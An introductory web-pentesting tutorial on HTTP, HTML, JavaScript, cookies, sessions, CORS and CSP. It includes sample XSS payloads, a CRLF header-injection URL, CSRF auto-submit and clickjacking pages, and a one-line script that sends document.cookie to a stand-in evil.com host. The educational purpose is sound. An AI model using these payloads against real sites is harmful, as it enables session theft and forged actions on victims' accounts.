You can’t hack what you don’t understand. Before learning SQL injection, XSS, or any web vulnerability, you need to understand how browsers, HTML, JavaScript, and HTTP actually work. This guide gives you that foundation.
This is Part 1 of the pentesting series - read Linux Fundamentals first if you’re new to the command line.
Quick Reference
HTTP Methods
| Method | Purpose | Has Body? |
|---|---|---|
| GET | Retrieve data | No |
| POST | Submit data | Yes |
| PUT | Update/replace resource | Yes |
| PATCH | Partial update | Yes |
| DELETE | Remove resource | Sometimes |
| HEAD | GET without body | No |
| OPTIONS | Check allowed methods | No |
| TRACE | Echo request (debugging) | No |
HTTP Status Codes
| Code | Category | Meaning |
|---|---|---|
| 200 | Success | OK |
| 201 | Success | Created |
| 301 | Redirect | Moved Permanently |
| 302 | Redirect | Found (Temporary) |
| 400 | Client Error | Bad Request |
| 401 | Client Error | Unauthorized |
| 403 | Client Error | Forbidden |
| 404 | Client Error | Not Found |
| 405 | Client Error | Method Not Allowed |
| 500 | Server Error | Internal Server Error |
| 502 | Server Error | Bad Gateway |
| 503 | Server Error | Service Unavailable |
Important Headers
| Header | Type | Purpose |
|---|---|---|
| Host | Request | Target domain |
| User-Agent | Request | Browser/client identifier |
| Cookie | Request | Session/auth data |
| Authorization | Request | Auth credentials |
| Content-Type | Both | Data format |
| Referer | Request | Previous page URL |
| Set-Cookie | Response | Set browser cookie |
| Location | Response | Redirect destination |
| Content-Security-Policy | Response | XSS protection |
| X-Frame-Options | Response | Clickjacking protection |
Cookie Attributes
| Attribute | Purpose | Security Impact |
|---|---|---|
| Secure | HTTPS only | Prevents interception |
| HttpOnly | No JavaScript access | Prevents XSS theft |
| SameSite | Cross-site restrictions | Prevents CSRF |
| Domain | Cookie scope | Subdomain access |
| Path | URL path scope | Directory access |
| Expires/Max-Age | Lifetime | Session vs persistent |
1. How the Web Works
TL;DR: Your browser requests pages from servers using HTTP. The server responds with HTML, CSS, and JavaScript. Your browser renders it into what you see.
The Request-Response Cycle
┌──────────┐ ┌──────────┐
│ Browser │ │ Server │
│ (Client) │ │ │
└────┬─────┘ └────┬─────┘
│ │
│ 1. User types: https://example.com │
│ │
│ 2. DNS lookup: example.com → 93.184.216.34
│ │
│ 3. TCP connection (port 443 for HTTPS) │
│─────────────────────────────────────────>
│ │
│ 4. HTTP Request: │
│ GET / HTTP/1.1 │
│ Host: example.com │
│─────────────────────────────────────────>
│ │
│ │ 5. Server processes
│ │ request, builds
│ │ response
│ │
│ 6. HTTP Response: │
│ HTTP/1.1 200 OK │
│ Content-Type: text/html │
│ <html>...</html> │
│<─────────────────────────────────────────
│ │
│ 7. Browser renders HTML │
│ Requests CSS, JS, images │
│ │
What Happens When You Visit a URL
- DNS Resolution - Browser asks DNS server for IP address
- TCP Connection - Browser connects to server (port 80 or 443)
- TLS Handshake - If HTTPS, encrypt the connection
- HTTP Request - Browser sends request for the page
- Server Processing - Server runs code, queries database
- HTTP Response - Server sends back HTML
- Browser Rendering - Parse HTML, request additional resources
- JavaScript Execution - Run any JS code
Browser Developer Tools
Open DevTools: F12 or Ctrl+Shift+I (Windows/Linux) or Cmd+Option+I (Mac)
| Tab | Purpose | Pentester Use |
|---|---|---|
| Elements | View/edit HTML & CSS | Modify page, find hidden fields |
| Console | JavaScript console | Run JS, see errors |
| Network | All HTTP requests | See requests, modify, replay |
| Application | Cookies, storage | View/edit cookies, tokens |
| Sources | JavaScript files | Read/debug client-side code |
2. HTML Essentials
TL;DR: HTML is the structure of web pages. Know forms, inputs, links, and scripts - they’re where vulnerabilities live.
Basic HTML Structure
<!DOCTYPE html>
<html>
<head>
<title>Page Title</title>
<script src="app.js"></script> <!-- External JavaScript -->
<link rel="stylesheet" href="style.css">
</head>
<body>
<h1>Heading</h1>
<p>Paragraph text</p>
<!-- This is a comment (visible in source!) -->
</body>
</html>
Tags Pentesters Care About
Forms and Inputs
<!-- Login form -->
<form action="/login" method="POST">
<input type="text" name="username" value="">
<input type="password" name="password">
<input type="hidden" name="csrf_token" value="abc123"> <!-- Hidden! -->
<button type="submit">Login</button>
</form>
Why it matters:
action- Where data is sent (can you change it?)method- GET exposes data in URL, POST in bodyhiddeninputs - Often contain tokens, IDs, or sensitive data- Input
name- Parameter names for injection testing
Links
<!-- Standard link -->
<a href="/page">Click here</a>
<!-- Link with target -->
<a href="https://evil.com" target="_blank">External</a>
<!-- JavaScript link -->
<a href="javascript:alert(1)">XSS Test</a>
<!-- Link with onclick -->
<a href="#" onclick="doSomething()">Action</a>
Why it matters:
- Check
hreffor open redirects javascript:URLs can execute code (XSS)target="_blank"withoutrel="noopener"is a vulnerability
Scripts
<!-- Inline script -->
<script>
var secret = "api_key_12345"; // Exposed!
function login() { ... }
</script>
<!-- External script -->
<script src="/js/app.js"></script>
<script src="https://cdn.example.com/lib.js"></script>
Why it matters:
- Inline scripts may contain secrets
- External scripts can be analyzed
- Look for API keys, endpoints, logic flaws
Iframes
<!-- Embed another page -->
<iframe src="https://other-site.com/page"></iframe>
<!-- Hidden iframe -->
<iframe src="/admin" style="display:none;"></iframe>
Why it matters:
- Used in clickjacking attacks
- Check for X-Frame-Options header
- Hidden iframes may load sensitive pages
Inspecting HTML
1. Right-click on any element → "Inspect"
2. DevTools Elements tab opens
3. You can:
- See full HTML source
- Modify values (client-side only!)
- Find hidden fields
- See comments (often contain info)
Finding hidden elements:
// In Console tab:
document.querySelectorAll('input[type="hidden"]')
document.querySelectorAll('[style*="display:none"]')
HTML Injection Preview
If user input is reflected without encoding:
<!-- You enter: <h1>Test</h1> -->
<!-- Page shows: -->
<p>Search results for: <h1>Test</h1></p>
<!-- If you enter: <script>alert(1)</script> -->
<!-- And it's not sanitized, you get XSS! -->
3. JavaScript Essentials
TL;DR: JavaScript runs in the browser and can access everything on the page - cookies, forms, DOM. It’s both the target and the tool for attacks.
What JavaScript Can Do
- Read and modify any page content (DOM)
- Access cookies (unless HttpOnly)
- Make HTTP requests to any origin (with CORS)
- Access localStorage and sessionStorage
- Read form data
- Redirect the browser
Basic JavaScript
// Variables
var oldWay = "don't use";
let modern = "use this";
const constant = "can't change";
// Functions
function greet(name) {
return "Hello, " + name;
}
// Arrow functions
const greet = (name) => "Hello, " + name;
// DOM manipulation
document.getElementById("myId").innerHTML = "Changed!";
document.querySelector(".myClass").value = "New value";
// Event listeners
document.getElementById("btn").addEventListener("click", function() {
alert("Clicked!");
});
DOM Manipulation
The DOM (Document Object Model) is the browser’s representation of the HTML.
// Get elements
document.getElementById("id");
document.querySelector(".class"); // First match
document.querySelectorAll("input"); // All matches
// Read/modify content
element.innerHTML = "<b>Bold</b>"; // Parses HTML (XSS risk!)
element.textContent = "Safe text"; // Plain text only
element.value = "Form value"; // For inputs
// Read/modify attributes
element.getAttribute("href");
element.setAttribute("href", "https://evil.com");
// Create elements
const div = document.createElement("div");
div.innerHTML = "New content";
document.body.appendChild(div);
Event Handlers
Event handlers are JavaScript that runs when something happens:
<!-- Common event handlers (XSS vectors!) -->
<img src="x" onerror="alert(1)">
<body onload="alert(1)">
<div onmouseover="alert(1)">Hover me</div>
<input onfocus="alert(1)" autofocus>
<a href="#" onclick="alert(1)">Click</a>
<form onsubmit="alert(1)">
<iframe onload="alert(1)">
Why it matters: These are all potential XSS injection points!
Making HTTP Requests
// Fetch API (modern)
fetch('/api/user')
.then(response => response.json())
.then(data => console.log(data));
// Fetch with options
fetch('/api/login', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({username: 'admin', password: 'test'})
});
// XMLHttpRequest (older)
var xhr = new XMLHttpRequest();
xhr.open('GET', '/api/data');
xhr.onload = function() {
console.log(xhr.responseText);
};
xhr.send();
JavaScript in Pentesting
Finding secrets in JS:
// Search for common patterns in source
// F12 → Sources → Search (Ctrl+Shift+F)
api_key
apiKey
secret
password
token
private
admin
Bypassing client-side validation:
// If there's client-side validation:
function validateAge(age) {
if (age < 18) return false;
return true;
}
// Just call the form submit directly:
document.forms[0].submit();
// Or modify in DevTools before submitting
Cookie access:
// Read all cookies (if not HttpOnly)
document.cookie
// Set a cookie
document.cookie = "test=value; path=/";
4. HTTP Deep Dive
TL;DR: HTTP is the protocol of the web. Every request and response has a specific structure. Understanding it is essential for web pentesting.
HTTP Request Structure
POST /login HTTP/1.1 ← Request Line
Host: example.com ← Headers start
User-Agent: Mozilla/5.0 ...
Cookie: session=abc123
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
← Empty line (separates headers from body)
username=admin&password=test ← Body (for POST/PUT)
Request Line Components:
- Method: GET, POST, PUT, DELETE, etc.
- Path: /login, /api/users/123
- Version: HTTP/1.1, HTTP/2
HTTP Response Structure
HTTP/1.1 200 OK ← Status Line
Server: nginx/1.18.0 ← Headers start
Date: Mon, 15 Jan 2024 12:00:00 GMT
Content-Type: text/html; charset=UTF-8
Set-Cookie: session=xyz789; HttpOnly; Secure
Content-Length: 1234
← Empty line
<!DOCTYPE html> ← Body
<html>...
Status Line Components:
- Version: HTTP/1.1
- Status Code: 200, 404, 500
- Reason Phrase: OK, Not Found, Internal Server Error
HTTP Methods Explained
| Method | Purpose | Body | Idempotent | Safe |
|---|---|---|---|---|
| GET | Retrieve resource | No | Yes | Yes |
| POST | Create/submit data | Yes | No | No |
| PUT | Replace resource | Yes | Yes | No |
| PATCH | Partial update | Yes | No | No |
| DELETE | Remove resource | Maybe | Yes | No |
| HEAD | GET headers only | No | Yes | Yes |
| OPTIONS | Check capabilities | No | Yes | Yes |
| TRACE | Echo request | No | Yes | Yes |
Idempotent: Same request multiple times = same result Safe: Doesn’t modify server state
HTTP is Stateless
HTTP doesn’t remember previous requests. Every request is independent.
How state is maintained:
- Cookies - Server sends
Set-Cookie, browser sendsCookieheader - Sessions - Cookie contains session ID, server stores data
- Tokens - JWT/Bearer tokens in Authorization header
- URL parameters - ?session_id=abc (bad practice!)
Viewing HTTP in DevTools
1. Open DevTools (F12)
2. Go to Network tab
3. Perform action (click, submit form)
4. Click on the request
5. See:
- Headers (request & response)
- Preview (formatted response)
- Response (raw response)
- Cookies
- Timing
curl Commands
# Simple GET
curl http://example.com
# See headers
curl -I http://example.com # Response headers only
curl -v http://example.com # Verbose (both directions)
# POST request
curl -X POST http://example.com/login \
-d "username=admin&password=test"
# POST with JSON
curl -X POST http://example.com/api \
-H "Content-Type: application/json" \
-d '{"username":"admin"}'
# With cookies
curl -b "session=abc123" http://example.com
# Save cookies
curl -c cookies.txt http://example.com/login \
-d "user=admin&pass=test"
# Use saved cookies
curl -b cookies.txt http://example.com/dashboard
# Custom headers
curl -H "Authorization: Bearer token123" \
-H "X-Custom-Header: value" \
http://example.com/api
5. HTTP Headers Explained
TL;DR: Headers control how requests and responses behave. Some reveal information, others provide security. Know what to look for.
Request Headers
| Header | Example | Why It Matters |
|---|---|---|
Host | example.com | Virtual hosting, host header attacks |
User-Agent | Mozilla/5.0... | Fingerprinting, sometimes auth bypass |
Cookie | session=abc123 | Authentication, session management |
Authorization | Bearer eyJ... | API authentication, JWT tokens |
Content-Type | application/json | How body is parsed (type confusion?) |
Referer | https://example.com/page | Where request came from (CSRF checks) |
X-Forwarded-For | 192.168.1.1 | Original client IP (can be spoofed!) |
Origin | https://example.com | CORS, cross-origin requests |
Response Headers
| Header | Example | Why It Matters |
|---|---|---|
Server | Apache/2.4.41 | Technology fingerprinting |
X-Powered-By | PHP/7.4 | Technology fingerprinting |
Set-Cookie | session=abc; HttpOnly | Session management, check flags! |
Location | https://example.com/new | Redirects (open redirect check) |
Content-Type | text/html | MIME type confusion |
Access-Control-Allow-Origin | * | CORS misconfiguration |
Security Headers
| Header | Purpose | Missing = Risk |
|---|---|---|
Content-Security-Policy | Controls script sources | XSS easier |
X-Frame-Options | Prevents framing | Clickjacking |
X-Content-Type-Options | Prevents MIME sniffing | Type confusion |
Strict-Transport-Security | Forces HTTPS | Downgrade attacks |
X-XSS-Protection | Browser XSS filter | XSS (legacy) |
Referrer-Policy | Controls Referer header | Info leakage |
Checking security headers:
curl -I https://example.com | grep -iE "x-frame|content-security|strict-transport|x-content-type|x-xss"
Header Injection
If user input ends up in a header without sanitization:
# Normal request:
GET /redirect?url=https://example.com
# Response:
Location: https://example.com
# Injection:
GET /redirect?url=https://evil.com%0d%0aSet-Cookie:%20malicious=value
# Response (if vulnerable):
Location: https://evil.com
Set-Cookie: malicious=value
%0d%0a is URL-encoded \r\n (CRLF) which creates a new header line.
6. Cookies Deep Dive
TL;DR: Cookies maintain state across requests. Session cookies = authentication. Understand their attributes to find vulnerabilities.
What Cookies Are
Cookies are small pieces of data stored in the browser and sent with every request to that domain.
1. Server sends: Set-Cookie: session=abc123; HttpOnly; Secure
2. Browser stores: session=abc123 for this domain
3. Browser sends: Cookie: session=abc123 (with every request)
Cookie Attributes
Set-Cookie: session=abc123; Domain=.example.com; Path=/; Expires=Thu, 01 Jan 2025 00:00:00 GMT; Secure; HttpOnly; SameSite=Strict
│ │ │ │ │ │ │
│ │ │ │ │ │ └── CSRF protection
│ │ │ │ │ └── No JS access
│ │ │ │ └── HTTPS only
│ │ │ └── Expiration date
│ │ └── URL path scope
│ └── Domain scope
└── Cookie value
| Attribute | Purpose | Security Impact |
|---|---|---|
Secure | Only send over HTTPS | Without: Cookie sent over HTTP (intercept!) |
HttpOnly | No JavaScript access | Without: XSS can steal cookies |
SameSite=Strict | No cross-site requests | Without: CSRF attacks possible |
SameSite=Lax | Only GET cross-site | Partial CSRF protection |
SameSite=None | Allow all cross-site | Must have Secure flag |
Domain | Which domains receive cookie | .example.com includes all subdomains |
Path | Which paths receive cookie | / = entire site, /app = only /app/* |
Session vs Persistent Cookies
| Type | Has Expires/Max-Age? | Lifespan | Use Case |
|---|---|---|---|
| Session | No | Until browser closes | Login sessions |
| Persistent | Yes | Until expiration | ”Remember me” |
Cookie Security Issues
| Issue | Description | Test |
|---|---|---|
| Missing HttpOnly | JavaScript can read cookie | document.cookie in console |
| Missing Secure | Sent over HTTP | Intercept with proxy |
| Weak Session ID | Predictable/short | Analyze multiple cookies |
| No SameSite | CSRF possible | Create cross-site request |
| Session fixation | Accept attacker’s session | Set cookie before login |
| No expiration | Cookie lives forever | Check Expires attribute |
Viewing Cookies
Browser DevTools:
F12 → Application tab → Cookies → Select domain
JavaScript (if not HttpOnly):
document.cookie
// "session=abc123; preferences=dark"
curl:
# See Set-Cookie in response
curl -I http://example.com | grep -i set-cookie
# Send cookies
curl -b "session=abc123" http://example.com
Testing Cookie Security
# Check for Secure flag
# Visit site over HTTP - does cookie still work?
curl -b "session=abc123" http://example.com/dashboard # Not HTTPS!
# Check for HttpOnly
# Open console, try document.cookie
# If you can see the session cookie, HttpOnly is missing
# Check session randomness
# Get multiple session cookies, look for patterns
for i in {1..5}; do
curl -I https://example.com/login 2>/dev/null | grep -i set-cookie
done
7. Sessions and State
TL;DR: Sessions maintain user state (logged in, shopping cart). Session IDs in cookies are the key to user accounts.
How Sessions Work
┌──────────┐ ┌──────────┐
│ Browser │ │ Server │
└────┬─────┘ └────┬─────┘
│ │
│ 1. POST /login │
│ username=admin&password=secret │
│────────────────────────────────────────>│
│ │
│ │ 2. Validate credentials
│ │ Create session:
│ │ sessions['abc123'] = {
│ │ user: 'admin',
│ │ role: 'user'
│ │ }
│ │
│ 3. Set-Cookie: session=abc123 │
│<────────────────────────────────────────│
│ │
│ 4. GET /dashboard │
│ Cookie: session=abc123 │
│────────────────────────────────────────>│
│ │
│ │ 5. Look up session:
│ │ sessions['abc123']
│ │ → user: admin
│ │
│ 6. 200 OK (dashboard for admin) │
│<────────────────────────────────────────│
Session ID Security
Good session ID:
- Long (128+ bits of entropy)
- Random (cryptographically secure)
- Unpredictable (can’t guess next one)
- Changed after login (prevents fixation)
Bad session ID:
session=1 # Sequential
session=admin # Username-based
session=1705320000 # Timestamp
session=abc # Too short
Storage Options
| Storage | Access | Lifetime | Size | Security |
|---|---|---|---|---|
| Cookies | Server + Client | Configurable | ~4KB | Sent automatically |
| localStorage | Client only | Permanent | ~5MB | XSS vulnerable |
| sessionStorage | Client only | Tab session | ~5MB | XSS vulnerable |
// localStorage
localStorage.setItem('token', 'abc123');
localStorage.getItem('token');
// sessionStorage
sessionStorage.setItem('temp', 'data');
sessionStorage.getItem('temp');
// Access in DevTools: F12 → Application → Storage
JWT vs Session Cookies
| Aspect | Session Cookies | JWT |
|---|---|---|
| Storage | Server stores session data | Token contains all data |
| Scalability | Need shared session store | Stateless, easy to scale |
| Revocation | Easy (delete from store) | Hard (token valid until expiry) |
| Size | Small (just ID) | Larger (contains claims) |
| Security | HttpOnly possible | Often in localStorage (XSS risk) |
8. Forms and Data Submission
TL;DR: Forms are the primary way users send data. They’re also the primary injection point for attacks.
GET vs POST
| Aspect | GET | POST |
|---|---|---|
| Data location | URL query string | Request body |
| Visible in URL | Yes | No |
| Bookmarkable | Yes | No |
| Cached | Yes | No |
| Length limit | ~2000 chars | No practical limit |
| Use case | Search, filters | Login, create, sensitive |
<!-- GET form -->
<form action="/search" method="GET">
<input name="q" value="test">
</form>
<!-- Submits to: /search?q=test -->
<!-- POST form -->
<form action="/login" method="POST">
<input name="username">
<input name="password" type="password">
</form>
<!-- Data in body: username=value&password=value -->
Form Encoding Types
| Content-Type | Format | Use Case |
|---|---|---|
application/x-www-form-urlencoded | key1=value1&key2=value2 | Default, simple forms |
multipart/form-data | Multipart with boundaries | File uploads |
application/json | {"key": "value"} | APIs (via JavaScript) |
<!-- URL encoded (default) -->
<form action="/submit" method="POST">
<input name="data" value="hello world">
</form>
<!-- Body: data=hello%20world -->
<!-- Multipart (file upload) -->
<form action="/upload" method="POST" enctype="multipart/form-data">
<input type="file" name="document">
</form>
Hidden Fields
<form action="/transfer" method="POST">
<input type="hidden" name="csrf_token" value="abc123">
<input type="hidden" name="account_id" value="12345">
<input type="text" name="amount">
<button>Transfer</button>
</form>
Why pentesters care:
- Hidden doesn’t mean secure (view source!)
- Often contains IDs, tokens, prices
- Try modifying values before submission
// Modify hidden field in DevTools console:
document.querySelector('input[name="account_id"]').value = "99999";
CSRF (Cross-Site Request Forgery)
The attack: Trick a logged-in user into submitting a form to a vulnerable site.
<!-- On attacker's site: evil.com -->
<form action="https://bank.com/transfer" method="POST" id="csrf-form">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('csrf-form').submit();</script>
<!-- When victim visits evil.com while logged into bank.com,
the form submits with victim's cookies! -->
Defenses:
- CSRF tokens (random per-session or per-request)
- SameSite cookies
- Checking Referer/Origin headers
9. Browser Security Model
TL;DR: Browsers have built-in security policies. Understanding SOP, CORS, and CSP helps you identify when they’re misconfigured.
Same-Origin Policy (SOP)
Origin = Protocol + Domain + Port
| URL | Origin | Same as https://example.com? |
|---|---|---|
| https://example.com/page | https://example.com | Yes |
| https://example.com:443/page | https://example.com | Yes (443 is default) |
| http://example.com/page | http://example.com | No (different protocol) |
| https://sub.example.com/page | https://sub.example.com | No (different subdomain) |
| https://example.com:8080/page | https://example.com:8080 | No (different port) |
What SOP prevents:
- JavaScript on evil.com reading data from bank.com
- Scripts accessing cookies from different origins
- Making arbitrary requests and reading responses
What SOP allows:
- Loading resources (images, scripts, stylesheets) from any origin
- Submitting forms to any origin (can’t read response)
- Making requests with fetch/XHR (can’t read response without CORS)
CORS (Cross-Origin Resource Sharing)
CORS lets servers explicitly allow cross-origin requests.
Browser (origin: https://app.com) Server (https://api.com)
│ │
│ 1. OPTIONS /data (preflight) │
│ Origin: https://app.com │
│─────────────────────────────────────────────>│
│ │
│ 2. Access-Control-Allow-Origin: https://app.com
│ Access-Control-Allow-Methods: GET, POST │
│<─────────────────────────────────────────────│
│ │
│ 3. GET /data │
│ Origin: https://app.com │
│─────────────────────────────────────────────>│
│ │
│ 4. Data + Access-Control-Allow-Origin header│
│<─────────────────────────────────────────────│
Dangerous CORS configurations:
# Too permissive - anyone can read
Access-Control-Allow-Origin: *
# Reflects any origin (check with curl)
Access-Control-Allow-Origin: https://evil.com
# With credentials = very bad
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
Testing CORS:
curl -H "Origin: https://evil.com" -I https://api.example.com/data
# Look for:
# Access-Control-Allow-Origin: https://evil.com ← Bad!
# Access-Control-Allow-Credentials: true ← Very bad!
Content Security Policy (CSP)
CSP tells browsers what content is allowed to load/execute.
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'
| Directive | Controls | Example |
|---|---|---|
default-src | Default for all | 'self' |
script-src | JavaScript | 'self' https://cdn.com |
style-src | CSS | 'self' 'unsafe-inline' |
img-src | Images | 'self' data: |
connect-src | XHR/Fetch | 'self' https://api.com |
frame-src | Iframes | 'none' |
Values:
'self'- Same origin only'none'- Block all'unsafe-inline'- Allow inline scripts/styles (weakens XSS protection)'unsafe-eval'- Allow eval() (dangerous)- URLs - Allow specific sources
Why CSP matters:
- Strong CSP can prevent XSS exploitation
- Weak/missing CSP makes XSS easier
- Check for CSP bypass opportunities
10. Developer Tools Mastery
TL;DR: DevTools is your best friend for web testing. Learn to inspect, modify, and replay requests.
Elements Tab
Use for:
- Viewing full HTML source
- Finding hidden elements
- Modifying values client-side
- Seeing comments (developers leave hints!)
Exercises:
- Find all hidden input fields
- Change a hidden field’s value
- Remove a “disabled” attribute from a button
- Find HTML comments
Console Tab
Use for:
- Running JavaScript
- Seeing errors (often reveal info)
- Accessing cookies and storage
- Testing XSS payloads
// Try these:
document.cookie // View cookies
document.querySelectorAll('input') // All inputs
localStorage // View localStorage
fetch('/api/admin') // Make requests
Network Tab
Use for:
- Seeing all HTTP requests
- Viewing request/response details
- Copying requests as curl
- Replaying requests
Key features:
- Filter by type (XHR, JS, CSS)
- Click request → Headers tab (full request/response)
- Right-click → Copy as cURL
- Right-click → Replay XHR
Application Tab
Use for:
- Viewing/editing cookies
- Viewing localStorage/sessionStorage
- Clearing storage
- Viewing service workers
Exercises:
- Find session cookie
- Check cookie attributes (Secure, HttpOnly)
- Modify a cookie value
- View localStorage for tokens
Sources Tab
Use for:
- Reading JavaScript files
- Setting breakpoints
- Searching all sources (Ctrl+Shift+F)
What to search for:
password,secret,api_keyadmin,debug,test- Internal endpoints
- Comments with sensitive info
11. Common Web Vulnerabilities Preview
TL;DR: Here’s how HTML, JavaScript, cookies, and headers relate to major vulnerabilities.
XSS (Cross-Site Scripting)
Connection: JavaScript injection via HTML
<!-- User input reflected without encoding -->
<p>Search: <script>alert(document.cookie)</script></p>
<!-- Via event handler -->
<img src="x" onerror="alert(1)">
What you need to know:
- User input → HTML without encoding → XSS
- JavaScript can steal cookies (if not HttpOnly)
- CSP can prevent execution
CSRF (Cross-Site Request Forgery)
Connection: Forms, cookies, SameSite
<!-- Attacker's page -->
<form action="https://bank.com/transfer" method="POST">
<input name="amount" value="10000">
<input name="to" value="attacker">
</form>
<script>document.forms[0].submit()</script>
What you need to know:
- Cookies sent automatically to their domain
- SameSite=Strict prevents this
- CSRF tokens prevent this
Clickjacking
Connection: Iframes, X-Frame-Options
<!-- Attacker's page -->
<iframe src="https://bank.com/transfer?to=attacker"
style="opacity:0;position:absolute;top:0;left:0;">
</iframe>
<button style="position:absolute;top:0;left:0;">Click for Prize!</button>
What you need to know:
- Page loaded in invisible iframe
- X-Frame-Options: DENY prevents this
- CSP frame-ancestors prevents this
Session Hijacking
Connection: Cookies, JavaScript, HTTPS
// If cookie is not HttpOnly, XSS can steal it:
new Image().src = "https://evil.com/steal?c=" + document.cookie;
What you need to know:
- HttpOnly prevents JavaScript access
- Secure prevents HTTP interception
- Session tokens = authentication
12. Practice Labs
TL;DR: Practice with these safe, legal resources.
Browser DevTools Exercises
1. Visit any website
2. Find all forms and their action URLs
3. Find all hidden input fields
4. Identify cookies and their attributes
5. Search JavaScript for "api" or "key"
6. Make a request and view it in Network tab
7. Copy a request as cURL and run it
PortSwigger Web Security Academy
Free, excellent labs:
- https://portswigger.net/web-security
- All labs have solutions
- Progressive difficulty
Start with:
- HTTP request smuggling basics
- CSRF vulnerabilities
- XSS contexts
TryHackMe Rooms
| Room | Focus |
|---|---|
| Web Fundamentals | HTTP, cookies, sessions |
| OWASP Top 10 | Common vulnerabilities |
| Burp Suite Basics | Interception, modification |
| XSS | Cross-site scripting |
Local Practice
# Run DVWA locally
docker run -d -p 80:80 vulnerables/web-dvwa
# Then visit http://localhost
# Login: admin/password
13. Glossary
| Term | Definition |
|---|---|
| CORS | Cross-Origin Resource Sharing - allows cross-origin requests |
| Cookie | Small data stored by browser, sent with requests |
| CSP | Content Security Policy - controls allowed content sources |
| CSRF | Cross-Site Request Forgery - forged authenticated requests |
| DOM | Document Object Model - browser’s page representation |
| Header | Metadata in HTTP requests/responses |
| HTML | HyperText Markup Language - page structure |
| HTTP | HyperText Transfer Protocol - web communication |
| HTTPS | HTTP with TLS encryption |
| JavaScript | Client-side scripting language |
| JWT | JSON Web Token - encoded token with claims |
| Origin | Protocol + domain + port |
| Session | Server-side state for a user |
| SOP | Same-Origin Policy - browser security boundary |
| XSS | Cross-Site Scripting - JavaScript injection |
What’s Next?
Now that you understand web basics, continue with:
- Network Fundamentals - TCP/IP, ports, protocols
- Web Application Pentesting - Full methodology
- Authentication Flows - How auth works and breaks
Questions or feedback? Open an issue on GitHub.